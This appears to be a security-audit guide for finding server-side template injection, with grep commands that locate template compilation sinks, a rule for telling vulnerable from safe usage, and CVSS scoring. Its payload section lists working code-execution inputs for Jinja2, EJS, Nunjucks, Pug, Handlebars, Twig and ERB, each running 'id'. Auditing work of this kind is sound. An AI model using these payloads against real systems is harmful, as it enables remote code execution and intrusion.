SSTI Detection

When to Use

Audit template engines, email template systems, report generators, CMS systems, and any code that compiles templates from user input.

Key Distinction

• User input IN the template string = VULNERABLE (SSTI)
• User input IN template variables/context = SAFE (this is normal template usage)

// VULNERABLE: user input IS the template
ejs.render(userInput, data);

// SAFE: user input is in the data, not the template
ejs.render(templateFromFile, { name: userInput });

Auto-escaping does NOT help. Auto-escaping prevents XSS in template OUTPUT, not code execution in template COMPILATION.

Process

Step 1: Find Template Compilation

# JavaScript
grep -rn "Handlebars\.compile\|nunjucks\.renderString\|ejs\.render" .
grep -rn "pug\.compile\|pug\.render\|mustache\.render" .
grep -rn "template(\|compile(\|render(" . | grep -v node_modules

# Python
grep -rn "Template(\|from_string\|render_template_string" .
grep -rn "Jinja2\|jinja2\|Environment\|render_string" .
grep -rn "mako\.template\|Mako\|Template(" .

# Ruby
grep -rn "ERB\.new\|Erubi\|Slim\|Haml" .

# PHP
grep -rn "Twig.*createTemplate\|Twig.*Environment\|Blade\|Smarty" .

Step 2: Check if First Argument is User-Controlled

For each template compilation call:

1. Is the template string hardcoded or loaded from a file? (SAFE)
2. Is the template string from user input? (VULNERABLE)
3. Is the template string from a database but originally user-supplied? (VULNERABLE)

Step 3: Check for Sandbox Mode

Some template engines have sandboxed modes:

grep -rn "SandboxedEnvironment\|sandbox\|restricted" .

Jinja2 SandboxedEnvironment restricts attribute access but may still be bypassable.

Engine-Specific Payloads

Detection Payload (Universal)

{{7*7}}

If output contains 49, template injection confirmed.

Jinja2 (Python)

{{config.__class__.__init__.__globals__['os'].popen('id').read()}}
{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}

EJS (JavaScript)

<%= require('child_process').execSync('id') %>
<%= global.process.mainModule.require('child_process').execSync('id') %>

Nunjucks (JavaScript)

{{range.constructor("return global.process.mainModule.require('child_process').execSync('id').toString()")()}}

Pug (JavaScript)

#{global.process.mainModule.require('child_process').execSync('id')}

Handlebars (JavaScript)

Harder to exploit in modern versions. Check for helper registration:

{{#with "s" as |string|}}
  {{#with "e"}}
    {{#with split as |conslist|}}
      {{this.pop}}
      {{this.push (lookup string.sub "constructor")}}
      {{#with string.split as |codelist|}}
        {{this.pop}}
        {{this.push "return require('child_process').execSync('id')"}}
        {{#each conslist}}{{#with (string.sub.apply 0 codelist)}}{{this}}{{/with}}{{/each}}
      {{/with}}
    {{/with}}
  {{/with}}
{{/with}}

Twig (PHP)

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}

ERB (Ruby)

<%= system('id') %>
<%= `id` %>

CVSS Guidance

• SSTI to RCE (unauthenticated): CRITICAL 9.8
• SSTI to RCE (authenticated, low-priv): HIGH 8.8
• SSTI with sandboxed engine: HIGH 7.5 (sandbox bypass may exist)
• SSTI in client-side template (XSS only): MEDIUM 6.1

References

• Sinks -- Template compilation functions
• False Positive Indicators
• PoC Skeleton